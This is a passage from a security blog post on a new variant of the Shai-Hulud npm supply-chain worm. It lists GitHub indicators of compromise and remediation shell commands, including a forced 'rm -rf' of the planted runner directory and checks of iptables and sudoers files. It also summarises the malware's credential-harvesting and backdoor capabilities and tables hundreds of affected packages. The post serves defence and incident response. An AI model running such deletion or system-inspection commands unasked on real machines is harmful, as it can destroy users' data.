maximize data collection over time. </p><h2 data-beyondwords-marker="3ecadda6-1c57-41de-8f64-f6d0f8f92874" class="wp-block-heading" id="indicators-of-compromise"><strong>Indicators of compromise</strong></h2><h3 data-beyondwords-marker="fadf7826-b454-4cad-8602-e7973796f4b0" class="wp-block-heading" id="github-indicators"><strong>GitHub indicators</strong></h3><pre data-beyondwords-marker="f5b34d17-e323-4df3-865a-3dd5ed7af622" class="wp-block-code"><code>Repository name patterns: - Contains "Shai-Hulud" or "Sha1-Hulud" - Description: "Sha1-Hulud: The Second Coming." Repository contents: - contents.json - environment.json - cloud.json - actionsSecrets.json - truffleSecrets.json - .github/workflows/discussion.yaml Self-hosted runner: - Runner name: "SHA1HULUD" - Runner appears in repository Settings &gt; Actions &gt; Runners</code></pre><h2 data-beyondwords-marker="12689e64-9e37-4bb2-ab56-b12d98ee424d" class="wp-block-heading" id="detection-and-remediation"><strong>Detection and remediation</strong></h2><h3 data-beyondwords-marker="62019306-f85c-4514-a2ef-1ad2a6663a08" class="wp-block-heading" id="immediate-actions-for-potentially-infected-systems"><strong>Immediate actions for potentially infected systems</strong></h3><p data-beyondwords-marker="a0171a81-61f7-43ee-b0cc-465643648fc1"><strong>1. Check for self-hosted GitHub Actions runners</strong></p><pre data-beyondwords-marker="4fc35498-169b-4561-9229-44ffb3c837a5" class="wp-block-code"><code># Check for runner processes ps aux | grep -i "actions-runner\|SHA1HULUD" # Check for runner directory ls -la ~/.dev-env/ # If found, kill runner and remove directory pkill -f "actions-runner" rm -rf ~/.dev-env/</code></pre><p data-beyondwords-marker="fffa2e5a-5b0c-4a25-bb7c-26a52faa5fdb"><strong>2. Search for Shai-Hulud repositories in GitHub account</strong></p><pre data-beyondwords-marker="6801aef8-e587-491b-b440-e3ac367ac1a2" class="wp-block-code"><code># Using GitHub CLI gh repo list --json name,description | jq '.[] | select(.description | contains("Shai-Hulud"))' # Check for self-hosted runners gh api repos/{owner}/{repo}/actions/runners</code></pre><p data-beyondwords-marker="c8d21ee9-6ba7-4154-91f3-8d84eafbd395"><strong>3. Revoke compromised credentials immediately</strong></p><ul data-beyondwords-marker="f0003254-fbc0-4f26-bcc9-d0c56cbd4947" class="wp-block-list"> <li data-beyondwords-marker="85aa5c19-0557-487e-8cd1-2c0554c40058">GitHub personal access tokens</li> <li data-beyondwords-marker="124ffa65-dd36-4d70-90ef-df6eb4ed4b63">GitHub SSH keys</li> <li data-beyondwords-marker="8fc5f55c-036b-4382-8ae4-c9fb5d80c089">NPM authentication tokens</li> <li data-beyondwords-marker="ff592be7-e4bf-4e43-9a46-56d738fdc1cb">AWS access keys</li> <li data-beyondwords-marker="6779b493-682c-4b09-95b6-60ae0ee099f5">GCP service account keys</li> <li data-beyondwords-marker="0633695b-0dc7-4723-a84e-50451779e136">Azure service principals</li> </ul><p data-beyondwords-marker="ef31f10c-c00f-4421-b5a2-71e8a6fe915f"><strong>4. Scan for TruffleHog binary in cache</strong></p><pre data-beyondwords-marker="13dee476-692e-4eb3-82d7-5b086d0d91ca" class="wp-block-code"><code>find ~/.cache -name "trufflehog*" -o -name ".truffler-cache"</code></pre><p data-beyondwords-marker="7ceb1687-611f-4766-b4fa-9b7d868ce6e3"><strong>Azure DevOps specific checks</strong></p><pre data-beyondwords-marker="d17c84f0-72e9-438a-b2e5-372be6881087" class="wp-block-code"><code># Check for modified iptables rules sudo iptables -L -n -v # Check systemd-resolved status sudo systemctl status systemd-resolved # Review /etc/sudoers.d/ for unauthorized entries ls -la /etc/sudoers.d/</code></pre><h2 data-beyondwords-marker="c623ba0a-da57-4b48-8b5e-5d290397be1d" class="wp-block-heading" id="attribution"><strong>Attribution</strong></h2><p data-beyondwords-marker="1f2d1fe6-1686-4dc9-a4d2-70bf9c692a1a">The malware maintains several characteristics consistent with the September 2025 Shai-Hulud attack:</p><ul data-beyondwords-marker="99b0ce7e-9c15-44b3-960c-c610f55cbe1f" class="wp-block-list"> <li data-beyondwords-marker="110a9c00-a0eb-4bbf-81bc-cb12cc5315ef"><strong>Repository naming convention</strong>: Use of “Shai-Hulud” or “Sha1-Hulud” references to the Dune sandworm</li> <li data-beyondwords-marker="98b88513-cc05-48b9-850f-58ad2989ec49"><strong>Self-propagation approach</strong>: Automated npm package modification and republishing</li> <li data-beyondwords-marker="f2765538-fb62-41e9-a10f-520d680b4bc7"><strong>TruffleHog integration</strong>: Use of legitimate security tools for credential discovery</li> <li data-beyondwords-marker="9e5ad172-dc53-4de7-9529-a581b719e3dd"><strong>Developer targeting</strong>: Focus on development environments and CI/CD pipelines</li> </ul><p data-beyondwords-marker="9a42df84-9d76-4fbf-bee7-9769af9a7340">However, this variant demonstrates significant capability evolution compared to the September attack:</p><ul data-beyondwords-marker="5f4ef8e3-464b-4f0b-a1a5-9021e9224c48" class="wp-block-list"> <li data-beyondwords-marker="935d7653-45c3-4b51-bf66-3d994667466e"><strong>Persistent backdoor deployment</strong>: New capability not present in earlier variants</li> <li data-beyondwords-marker="a2f7e3b0-fb8c-480b-84e4-cc2de0cba70c"><strong>Token recycling</strong>: Sophisticated approach to extending operational lifetime</li> <li data-beyondwords-marker="08a1ff27-736b-4051-8e89-67879d476f66"><strong>Azure DevOps exploitation</strong>: Specific targeting of Microsoft’s CI/CD platform</li> <li data-beyondwords-marker="155e458d-e54c-4160-9bf0-f2a7a27c09dc"><strong>Destructive failsafe</strong>: Anti-forensics or punitive measures on detection</li> <li data-beyondwords-marker="a97bc8cc-bda6-4e40-88e3-2479da2cad09"><strong>Enhanced cloud support</strong>: Unified multi-cloud credential harvesting</li> </ul><p data-beyondwords-marker="13b0ebd0-1088-4f71-a469-8e463498ef4f">These enhancements suggest either continued development by the original threat actor or adoption and improvement of the attack methodology by additional groups. The level of sophistication in the self-hosted runner deployment and the comprehensive cloud provider support indicate mature development resources and deep understanding of modern DevOps practices.</p><h2 data-beyondwords-marker="84448790-db96-496e-adf6-b0af98173ced" class="wp-block-heading" id="conclusion"><strong>Conclusion</strong></h2><p data-beyondwords-marker="175b7da7-d143-4159-9027-8c77f389b1d8">This evolved Shai-Hulud variant represents a significant escalation in npm supply chain attack capabilities. The combination of persistent backdoor access via self-hosted GitHub Actions runners, comprehensive multi-cloud credential harvesting, and automated package propagation creates a threat that can maintain long-term access to compromised environments while spreading rapidly through the package ecosystem.</p><p data-beyondwords-marker="7a3aa1e2-7d02-413b-a7ee-149365b8b1df">We will continue tracking this campaign and updating our analysis as new information becomes available.</p><h2 data-beyondwords-marker="b08c485e-610f-47d5-a467-ed1d7349d8e4" class="wp-block-heading" id="affected-packages"><strong>Affected Packages</strong></h2><figure data-beyondwords-marker="6c20a33d-f726-4a89-84b7-0152daaff225" class="wp-block-table"> <table class="has-fixed-layout"> <thead> <tr> <th><strong>Package Name</strong></th> <th><strong>Affected Versions</strong></th> </tr> </thead> <tbody> <tr> <td>@zapier/zapier-sdk</td> <td>0.15.5, 0.15.6, 0.15.7</td> </tr> <tr> <td>zapier-platform-core</td> <td>18.0.2, 18.0.3, 18.0.4</td> </tr> <tr> <td>zapier-platform-cli</td> <td>18.0.2, 18.0.3, 18.0.4</td> </tr> <tr> <td>zapier-platform-schema</td> <td>18.0.2, 18.0.3, 18.0.4</td> </tr> <tr> <td>@zapier/mcp-integration</td> <td>3.0.1, 3.0.2, 3.0.3</td> </tr> <tr> <td>@zapier/secret-scrubber</td> <td>1.1.3, 1.1.4, 1.1.5</td> </tr> <tr> <td>@zapier/ai-actions-react</td> <td>0.1.12, 0.1.13, 0.1.14</td> </tr> <tr> <td>@zapier/stubtree</td> <td>0.1.2, 0.1.3, 0.1.4</td> </tr> <tr> <td>@zapier/babel-preset-zapier</td> <td>6.4.1, 6.4.3</td> </tr> <tr> <td>zapier-scripts</td> <td>7.8.3, 7.8.4</td> </tr> <tr> <td>zapier-platform-legacy-scripting-runner</td> <td>4.0.2, 4.0.4</td> </tr> <tr> <td>zapier-async-storage</td> <td>1.0.1, 1.0.3</td> </tr> <tr> <td>@zapier/eslint-plugin-zapier</td> <td>11.0.3</td> </tr> <tr> <td>@zapier/ai-actions</td> <td>0.1.18</td> </tr> <tr> <td>@zapier/spectral-api-ruleset</td> <td>1.9.1</td> </tr> <tr> <td>@zapier/browserslist-config-zapier</td> <td>1.0.3, 1.0.5</td> </tr> <tr> <td>@ensdomains/ens-validation</td> <td>0.1.1</td> </tr> <tr> <td>@ensdomains/content-hash</td> <td>3.0.1</td> </tr> <tr> <td>ethereum-ens</td> <td>0.8.1</td> </tr> <tr> <td>@ensdomains/react-ens-address</td> <td>0.0.32</td> </tr> <tr> <td>@ensdomains/ens-contracts</td> <td>1.6.1</td> </tr> <tr> <td>@ensdomains/ensjs</td> <td>4.0.3</td> </tr> <tr> <td>@ensdomains/ens-archived-contracts</td> <td>0.0.3</td> </tr> <tr> <td>@ensdomains/dnssecoraclejs</td> <td>0.2.9</td> </tr> <tr> <td>@ensdomains/address-encoder</td> <td>0.1.5</td> </tr> <tr> <td>@ensdomains/mock</td> <td>2.1.52</td> </tr> <tr> <td>@ensdomains/op-resolver-contracts</td> <td>0.0.2</td> </tr> <tr> <td>@ensdomains/ccip-read-dns-gateway</td> <td>0.1.1</td> </tr> <tr> <td>@ensdomains/subdomain-registrar</td> <td>0.2.4</td> </tr> <tr> <td>@ensdomains/ens-avatar</td> <td>1.0.4</td> </tr> <tr> <td>@ensdomains/blacklist</td> <td>1.0.1</td> </tr> <tr> <td>@ensdomains/hackathon-registrar</td> <td>1.0.5</td> </tr> <tr> <td>@ensdomains/name-wrapper</td> <td>1.0.1</td> </tr> <tr> <td>@ensdomains/ensjs-react</td> <td>0.0.5</td> </tr> <tr> <td>@ensdomains/server-analytics</td> <td>0.0.2</td> </tr> <tr> <td>@ensdomains/thorin</td> <td>0.6.51</td> </tr> <tr> <td>@ensdomains/test-utils</td> <td>1.3.1</td> </tr> <tr> <td>@ensdomains/renewal</td> <td>0.0.13</td> </tr> <tr> <td>@ensdomains/dnsprovejs</td> <td>0.5.3</td> </tr> <tr> <td>@ensdomains/durin</td> <td>0.1.2</td> </tr> <tr> <td>@ensdomains/web3modal</td> <td>1.10.2</td> </tr> <tr> <td>@ensdomains/durin-middleware</td> <td>0.0.2</td> </tr> <tr> <td>@ensdomains/eth-ens-namehash</td> <td>2.0.16</td> </tr> <tr> <td>@ensdomains/dnssec-oracle-anchors</td> <td>0.0.2</td> </tr> <tr> <td>@ensdomains/offchain-resolver-contracts</td> <td>0.2.2</td> </tr> <tr> <td>@ensdomains/curvearithmetics</td> <td>1.0.1</td> </tr> <tr> <td>@ensdomains/ui</td> <td>3.4.6</td> </tr> <tr> <td>@ensdomains/cypress-metamask</td> <td>1.2.1</td> </tr> <tr> <td>@ensdomains/buffer</td> <td>0.1.2</td> </tr> <tr> <td>@ensdomains/ccip-read-cf-worker</td> <td>0.0.4</td> </tr> <tr> <td>@ensdomains/ccip-read-router</td> <td>0.0.7</td> </tr> <tr> <td>@ensdomains/ccip-read-worker-viem</td> <td>0.0.4</td> </tr> <tr> <td>@ensdomains/ens-test-env</td> <td>1.0.2</td> </tr> <tr> <td>@ensdomains/hardhat-chai-matchers-viem</td> <td>0.1.15</td> </tr> <tr> <td>@ensdomains/hardhat-toolbox-viem-extended</td> <td>0.0.6</td> </tr> <tr> <td>@ensdomains/renewal-widget</td> <td>0.1.10</td> </tr> <tr> <td>@ensdomains/reverse-records</td> <td>1.0.1</td> </tr> <tr> <td>@ensdomains/solsha1</td> <td>0.0.4</td> </tr> <tr> <td>@ensdomains/unicode-confusables</td> <td>0.1.1</td> </tr> <tr> <td>@ensdomains/unruggable-gateways</td> <td>0.0.3</td> </tr> <tr> <td>@ensdomains/vite-plugin-i18next-loader</td> <td>4.0.4</td> </tr> <tr> <td>@posthog/siphash</td> <td></td> </tr> <tr> <td>@posthog/wizard</td> <td></td> </tr> <tr> <td>@posthog/web-dev-server</td> <td></td> </tr> <tr> <td>@posthog/twitter-followers-plugin</td> <td></td> </tr> <tr> <td>@posthog/rrweb-snapshot</td> <td></td> </tr> <tr> <td>@posthog/rrweb-replay</td> <td></td> </tr> <tr> <td>@posthog/rrweb-record</td> <td></td> </tr> <tr> <td>@posthog/rrweb-player</td> <td></td> </tr> <tr> <td>@posthog/rrweb</td> <td></td> </tr> <tr> <td>@posthog/rrdom</td> <td></td> </tr> <tr> <td>@posthog/plugin-server</td> <td></td> </tr> <tr> <td>@posthog/piscina</td> <td></td> </tr> <tr> <td>@posthog/nuxt</td> <td></td> </tr> <tr> <td>@posthog/hedgehog-mode</td> <td></td> </tr> <tr> <td>@posthog/agent</td> <td></td> </tr> <tr> <td>@posthog/ai</td> <td></td> </tr> <tr> <td>@posthog/automatic-cohorts-plugin</td> <td></td> </tr> <tr> <td>@posthog/bitbucket-release-tracker</td> <td></td> </tr> <tr> <td>@posthog/cli</td> <td></td> </tr> <tr> <td>@posthog/clickhouse</td> <td></td> </tr> <tr> <td>@posthog/core</td> <td></td> </tr> <tr> <td>@posthog/currency-normalization-plugin</td> <td></td> </tr> <tr> <td>@posthog/customerio-plugin</td> <td></td> </tr> <tr> <td>@posthog/databricks-plugin</td> <td></td> </tr> <tr> <td>@posthog/drop-events-on-property-plugin</td> <td></td> </tr> <tr> <td>@posthog/event-sequence-timer-plugin</td> <td></td> </tr> <tr> <td>@posthog/filter-out-plugin</td> <td></td> </tr> <tr> <td>@posthog/first-time-event-tracker</td> <td></td> </tr> <tr> <td>@posthog/geoip-plugin</td> <td></td> </tr> <tr> <td>@posthog/github-release-tracking-plugin</td> <td></td> </tr> <tr> <td>@posthog/gitub-star-sync-plugin</td> <td></td> </tr> <tr> <td>@posthog/heartbeat-plugin</td> <td></td> </tr> <tr> <td>@posthog/icons</td> <td></td> </tr> <tr> <td>@posthog/ingestion-alert-plugin</td> <td></td> </tr> <tr> <td>@posthog/intercom-plugin</td> <td></td> </tr> <tr> <td>@posthog/kinesis-plugin</td> <td></td> </tr> <tr> <td>@posthog/laudspeaker-plugin</td> <td></td> </tr> <tr> <td>@posthog/lemon-ui</td> <td></td> </tr> <tr> <td>@posthog/maxmind-plugin</td> <td></td> </tr> <tr> <td>@posthog/migrator3000-plugin</td> <td></td> </tr> <tr> <td>@posthog/netdata-event-processing</td> <td></td> </tr> <tr> <td>@posthog/nextjs</td> <td></td> </tr> <tr> <td>@posthog/nextjs-config</td> <td></td> </tr> <tr> <td>@posthog/pagerduty-plugin</td> <td></td> </tr> <tr> <td>@posthog/plugin-contrib</td> <td></td> </tr> <tr> <td>@posthog/plugin-unduplicates</td> <td></td> </tr> <tr> <td>@posthog/postgres-plugin</td> <td></td> </tr> <tr> <td>@posthog/react-rrweb-player</td> <td></td> </tr> <tr> <td>@posthog/sendgrid-plugin</td> <td></td> </tr> <tr> <td>@posthog/snowflake-export-plugin</td> <td></td> </tr> <tr> <td>@posthog/taxonomy-plugin</td> <td></td> </tr> <tr> <td>@posthog/twilio-plugin</td> <td></td> </tr> <tr> <td>@posthog/variance-plugin</td> <td>0.0.8</td> </tr> <tr> <td>@posthog/zendesk-plugin</td> <td></td> </tr> <tr> <td>@posthog/rrweb-utils</td> <td></td> </tr> <tr> <td>posthog-docusaurus</td> <td></td> </tr> <tr> <td>posthog-node</td> <td></td> </tr> <tr> <td>posthog-js</td> <td></td> </tr> <tr> <td>posthog-plugin-hello-world</td> <td></td> </tr> <tr> <td>posthog-react-native</td> <td></td> </tr> <tr> <td>posthog-react-native-session-replay</td> <td>1.1.2.2.2.2.2</td> </tr> <tr> <td>@postman/pm-bin-windows-x64</td> <td>1.24.3, 1.24.5</td> </tr> <tr> <td>@postman/postman-mcp-server</td> <td>2.4.12</td> </tr> <tr> <td>@postman/postman-collection-fork</td> <td>4.3.3, 4.3.5</td> </tr> <tr> <td>@postman/pm-bin-macos-arm64</td> <td>1.24.3, 1.24.5</td> </tr> <tr> <td>@postman/mcp-ui-client</td> <td>5.5.1, 5.5.3</td> </tr> <tr> <td>@postman/pm-bin-macos-x64</td> <td>1.24.3, 1.24.5</td> </tr> <tr> <td>@postman/final-node-keytar</td> <td>7.9.1, 7.9.2</td> </tr> <tr> <td>@postman/pretty-ms</td> <td>6.1.1, 6.1.2</td> </tr> <tr> <td>@postman/postman-mcp-cli</td> <td>1.0.3, 1.0.4</td> </tr> <tr> <td>@postman/secret-scanner-wasm</td> <td>2.1.2, 2.1.3</td> </tr> <tr> <td>@postman/wdio-junit-reporter</td> <td>0.0.4, 0.0.5, 0.0.6</td> </tr> <tr> <td>@postman/wdio-allure-reporter</td> <td>0.0.7, 0.0.8</td> </tr> <tr> <td>@postman/tunnel-agent</td> <td>0.6.5</td> </tr> <tr> <td>@postman/pm-bin-linux-x64</td> <td>1.24.3</td> </tr> <tr> <td>@postman/node-keytar</td> <td>7.9.4</td> </tr> <tr> <td>@postman/csv-parse</td> <td>4.0.3</td> </tr> <tr> <td>@postman/aether-icons</td> <td>2.23.2</td> </tr> <tr> <td>@asyncapi/generator-react-sdk</td> <td></td> </tr> <tr> <td>@asyncapi/html-template</td> <td></td> </tr> <tr> <td>@asyncapi/java-spring-template</td> <td></td> </tr> <tr> <td>@asyncapi/modelina</td> <td></td> </tr> <tr> <td>@asyncapi/nodejs-template</td> <td></td> </tr> <tr> <td>@asyncapi/nunjucks-filters</td> <td></td> </tr> <tr> <td>@asyncapi/python-paho-template</td> <td></td> </tr> <tr> <td>@asyncapi/studio</td> <td></td> </tr> <tr> <td>@asyncapi/diff</td> <td></td> </tr> <tr> <td>@asyncapi/avro-schema-parser</td> <td></td> </tr> <tr> <td>@asyncapi/bundler</td> <td></td> </tr> <tr> <td>@asyncapi/cli</td> <td></td> </tr> <tr> <td>@asyncapi/converter</td> <td></td> </tr> <tr> <td>@asyncapi/dotnet-rabbitmq-template</td> <td></td> </tr> <tr> <td>@asyncapi/edavisualiser</td> <td></td> </tr> <tr> <td>@asyncapi/generator</td> <td></td> </tr> <tr> <td>@asyncapi/generator-components</td> <td></td> </tr> <tr> <td>@asyncapi/generator-helpers</td> <td></td> </tr> <tr> <td>@asyncapi/go-watermill-template</td> <td></td> </tr> <tr> <td>@asyncapi/java-spring-cloud-stream-template</td> <td></td> </tr> <tr> <td>@asyncapi/java-template</td> <td></td> </tr> <tr> <td>@asyncapi/keeper</td> <td></td> </tr> <tr> <td>@asyncapi/markdown-template</td> <td></td> </tr> <tr> <td>@asyncapi/modelina-cli</td> <td></td> </tr> <tr> <td>@asyncapi/multi-parser</td> <td></td> </tr> <tr> <td>@asyncapi/nodejs-ws-template</td> <td></td> </tr> <tr> <td>@asyncapi/openapi-schema-parser</td> <td></td> </tr> <tr> <td>@asyncapi/optimizer</td> <td></td> </tr> <tr> <td>@asyncapi/parser</td> <td></td> </tr> <tr> <td>@asyncapi/php-template</td> <td></td> </tr> <tr> <td>@asyncapi/problem</td> <td></td> </tr> <tr> <td>@asyncapi/protobuf-schema-parser</td> <td></td> </tr> <tr> <td>@asyncapi/react-component</td> <td></td> </tr> <tr> <td>@asyncapi/server-api</td> <td></td> </tr> <tr> <td>@asyncapi/specs</td> <td></td> </tr> <tr> <td>@asyncapi/web-component</td> <td></td> </tr> <tr> <td>@trigo/atrix-postgres</td> <td>1.0.3</td> </tr> <tr> <td>command-irail</td> <td>0.5.4</td> </tr> <tr> <td>@trigo/fsm</td> <td>3.4.2</td> </tr> <tr> <td>@trigo/trigo-hapijs</td> <td>5.0.1</td> </tr> <tr> <td>trigo-react-app</td> <td>4.1.2</td> </tr> <tr> <td>react-element-prompt-inspector</td> <td>0.1.18</td> </tr> <tr> <td>bool-expressions</td> <td>0.1.2</td> </tr> <tr> <td>atrix-mongoose</td> <td>1.0.1</td> </tr> <tr> <td>orbit-boxicons</td> <td>2.1.3</td> </tr> <tr> <td>@trigo/atrix</td> <td>7.0.1</td> </tr> <tr> <td>redux-forge</td> <td>2.5.3</td> </tr> <tr> <td>atrix</td> <td>1.0.1</td> </tr> <tr> <td>@trigo/atrix-acl</td> <td>4.0.2</td> </tr> <tr> <td>crypto-addr-codec</td> <td></td> </tr> <tr> <td>@trigo/atrix-swagger</td> <td>3.0.1</td> </tr> <tr> <td>@trigo/atrix-soap</td> <td>1.0.2</td> </tr> <tr> <td>@trigo/keycloak-api</td> <td>1.3.1</td> </tr> <tr> <td>@trigo/atrix-elasticsearch</td> <td>2.0.1</td> </tr> <tr> <td>@trigo/hapi-auth-signedlink</td> <td>1.3.1</td> </tr> <tr> <td>@trigo/atrix-pubsub</td> <td>4.0.3</td> </tr> <tr> <td>@trigo/atrix-orientdb</td> <td>1.0.2</td> </tr> <tr> <td>@trigo/node-soap</td> <td>0.5.4</td> </tr> <tr> <td>eslint-config-trigo</td> <td>22.0.2</td> </tr> <tr> <td>@trigo/atrix-redis</td> <td>1.0.2</td> </tr> <tr> <td>@trigo/eslint-config-trigo</td> <td>3.3.1</td> </tr> <tr> <td>@trigo/jsdt</td> <td>0.2.1</td> </tr> <tr> <td>@trigo/pathfinder-ui-css</td> <td>0.1.1</td> </tr> <tr> <td>@trigo/bool-expressions</td> <td></td> </tr> <tr> <td>@trigo/atrix-mongoose</td> <td>1.0.1, 1.0.2</td> </tr> <tr> <td>typeorm-orbit</td> <td>0.2.27</td> </tr> <tr> <td>orbit-nebula-draw-tools</td> <td>1.0.10</td> </tr> <tr> <td>@orbitgtbelgium/orbit-components</td> <td>1.2.9</td> </tr> <tr> <td>@orbitgtbelgium/time-slider</td> <td>1.0.187</td> </tr> <tr> <td>@orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode</td> <td>2.0.5</td> </tr> <tr> <td>@orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode</td> <td>1.1.1</td> </tr> <tr> <td>orbit-soap</td> <td>0.43.13</td> </tr> <tr> <td>orbit-nebula-editor</td> <td>1.0.2</td> </tr> <tr> <td>@mparpaillon/imagesloaded</td> <td></td> </tr> <tr> <td>@mparpaillon/connector-parse</td> <td></td> </tr> <tr> <td>@louisle2/cortex-js</td> <td>0.1.6</td> </tr> <tr> <td>react-component-taggers</td> <td>0.1.9</td> </tr> <tr> <td>token.js-fork</td> <td>0.7.32</td> </tr> <tr> <td>react-library-setup</td> <td>0.0.6</td> </tr> <tr> <td>exact-ticker</td> <td>0.3.5</td> </tr> <tr> <td>jan-browser</td> <td>0.13.1</td> </tr> <tr> <td>@louisle2/core</td> <td>1.0.1</td> </tr> <tr> <td>lite-serper-mcp-server</td> <td>0.2.2</td> </tr> <tr> <td>cpu-instructions</td> <td>0.0.14</td> </tr> <tr> <td>evm-checkcode-cli</td> <td>1.0.12, 1.0.13</td> </tr> <tr> <td>bytecode-checker-cli</td> <td>1.0.8, 1.0.9</td> </tr> <tr> <td>gate-evm-check-code2</td> <td>2.0.3, 2.0.4</td> </tr> <tr> <td>devstart-cli</td> <td>1.0.6</td> </tr> <tr> <td>package-tester</td> <td>1.0.1</td> </tr> <tr> <td>@trefox/sleekshop-js</td> <td>0.1.6</td> </tr> <tr> <td>@caretive/caret-cli</td> <td>0.0.2</td> </tr> <tr> <td>mcp-use</td> <td>1.4.2, 1.4.3</td> </tr> <tr> <td>@mcp-use/inspector</td> <td>0.6.2, 0.6.3</td> </tr> <tr> <td>create-mcp-use-app</td> <td>0.5.3, 0.5.4</td> </tr> <tr> <td>@mcp-use/cli</td> <td>2.2.6, 2.2.7</td> </tr> <tr> <td>@mcp-use/mcp-use</td> <td>1.0.1, 1.0.2</td> </tr> <tr> <td>skills-use</td> <td>0.1.1, 0.1.2</td> </tr> <tr> <td>zuper-cli</td> <td>1.0.1</td> </tr> <tr> <td>test-hardhat-app</td> <td>1.0.1, 1.0.2</td> </tr> <tr> <td>zuper-stream</td> <td>2.0.9</td> </tr> <tr> <td>redux-router-kit</td> <td>1.2.2, 1.2.3</td> </tr> <tr> <td>create-hardhat3-app</td> <td>1.1.1, 1.1.2</td> </tr> <tr> <td>test-foundry-app</td> <td>1.0.1, 1.0.2</td> </tr> <tr> <td>zuper-sdk</td> <td>1.0.57</td> </tr> <tr> <td>gate-evm-tools-test</td> <td>1.0.5, 1.0.6</td> </tr> <tr> <td>claude-token-updater</td> <td>1.0.2, 1.0.3</td> </tr> <tr> <td>@markvivanco/app-version-checker</td> <td></td> </tr> <tr> <td>@hapheus/n8n-nodes-pgp</td> <td>1.5.0, 1.5.1</td> </tr> <tr> <td>esbuild-plugin-httpfile</td> <td></td> </tr> <tr> <td>open2internet</td> <td></td> </tr> <tr> <td>vite-plugin-httpfile</td> <td></td> </tr> <tr> <td>webpack-loader-httpfile</td> <td></td> </tr> <tr> <td>bun-plugin-httpfile</td> <td></td> </tr> <tr> <td>poper-react-sdk</td> <td>0.1.2</td> </tr> <tr> <td>@actbase/react-native-devtools</td> <td></td> </tr> <tr> <td>discord-bot-server</td> <td></td> </tr> <tr> <td>n8n-nodes-tmdb</td> <td>0.5.0, 0.5.1</td> </tr> <tr> <td>avm-tool</td> <td>0.16.0-beta.1</td> </tr> <tr> <td>@accordproject/concerto-analysis</td> <td></td> </tr> <tr> <td>@accordproject/markdown-docx</td> <td></td> </tr> <tr> <td>@accordproject/markdown-it-cicero</td> <td></td> </tr> <tr> <td>@clausehq/flows-step-jsontoxml</td> <td></td> </tr> <tr> <td>@ifelsedeveloper/protocol-contracts-svm-idl</td> <td></td> </tr> <tr> <td>@osmanekrem/error-handler</td> <td></td> </tr> <tr> <td>@seung-ju/next</td> <td></td> </tr> <tr> <td>@seung-ju/openapi-generator</td> <td></td> </tr> <tr> <td>@seung-ju/react-hooks</td> <td></td> </tr> <tr> <td>@seung-ju/react-native-action-sheet</td> <td></td> </tr> <tr> <td>@thedelta/eslint-config</td> <td></td> </tr> <tr> <td>@tiaanduplessis/json</td> <td></td> </tr> <tr> <td>@tiaanduplessis/react-progressbar</td> <td></td> </tr> <tr> <td>@varsityvibe/api-client</td> <td></td> </tr> <tr> <td>@varsityvibe/validation-schemas</td> <td></td> </tr> <tr> <td>asyncapi-preview</td> <td></td> </tr> <tr> <td>capacitor-plugin-apptrackingios</td> <td>0.0.21</td> </tr> <tr> <td>capacitor-plugin-purchase</td> <td>0.1.1</td> </tr> <tr> <td>capacitor-plugin-scgssigninwithgoogle</td> <td>0.0.5</td> </tr> <tr> <td>capacitor-purchase-history</td> <td>0.0.10</td> </tr> <tr> <td>capacitor-voice-recorder-wav</td> <td>6.0.3</td> </tr> <tr> <td>expo-audio-session</td> <td>0.2.1</td> </tr> <tr> <td>react-native-worklet-functions</td> <td>3.3.3</td> </tr> <tr> <td>scgs-capacitor-subscribe</td> <td>1.0.11</td> </tr> <tr> <td>scgsffcreator</td> <td>1.0.5</td> </tr> <tr> <td>@actbase/node-server</td> <td>1.1.19</td> </tr> <tr> <td>@actbase/react-native-fast-image</td> <td>8.5.13</td> </tr> <tr> <td>@actbase/react-native-kakao-navi</td> <td>2.0.4</td> </tr> <tr> <td>@actbase/react-native-less-transformer</td> <td>1.0.6</td> </tr> <tr> <td>@actbase/react-native-simple-video</td> <td>1.0.13</td> </tr> <tr> <td>@actbase/react-native-tiktok</td> <td>1.1.3</td> </tr> <tr> <td>@aryanhussain/my-angular-lib</td> <td>0.0.23</td> </tr> <tr> <td>@kvytech/cli</td> <td>0.0.7</td> </tr> <tr> <td>@kvytech/components</td> <td>0.0.2</td> </tr> <tr> <td>@kvytech/habbit-e2e-test</td> <td>0.0.2</td> </tr> <tr> <td>@kvytech/medusa-plugin-announcement</td> <td>0.0.8</td> </tr> <tr> <td>@kvytech/medusa-plugin-management</td> <td>0.0.5</td> </tr> <tr> <td>@kvytech/medusa-plugin-newsletter</td> <td>0.0.5</td> </tr> <tr> <td>@kvytech/medusa-plugin-product-reviews</td> <td>0.0.9</td> </tr> <tr> <td>@kvytech/medusa-plugin-promotion</td> <td>0.0.2</td> </tr> <tr> <td>@kvytech/web</td> <td>0.0.2</td> </tr> <tr> <td>medusa-plugin-announcement</td> <td>0.0.3</td> </tr> <tr> <td>medusa-plugin-momo</td> <td>0.0.68</td> </tr> <tr> <td>medusa-plugin-product-reviews-kvy</td> <td>0.0.4</td> </tr> <tr> <td>medusa-plugin-zalopay</td> <td>0.0.40</td> </tr> <tr> <td>@clausehq/flows-step-sendgridemail</td> <td></td> </tr> <tr> <td>@fishingbooker/browser-sync-plugin</td> <td></td> </tr> <tr> <td>@fishingbooker/react-swiper</td> <td></td> </tr> <tr> <td>hopedraw</td> <td></td> </tr> <tr> <td>hope-mapboxdraw</td> <td></td> </tr> </tbody> </table> </figure><p data-beyondwords-marker="058563e5-2295-49bb-bbd4-5ecac5d86e1c"> </p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2025/11/shai-hulud-the-second-coming/" data-a2a-title="Shai-Hulud: The Second Coming"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2025%2F11%2Fshai-hulud-the-second-coming%2F&amp;linkname=Shai-Hulud%3A%20The%20Second%20Coming" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2025%2F11%2Fshai-hulud-the-second-coming%2F&amp;linkname=Shai-Hulud%3A%20The%20Second%20Coming" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2025%2F11%2Fshai-hulud-the-second-coming%2F&amp;linkname=Shai-Hulud%3A%20The%20Second%20Coming" title="Facebook" rel="nofollow noopener" 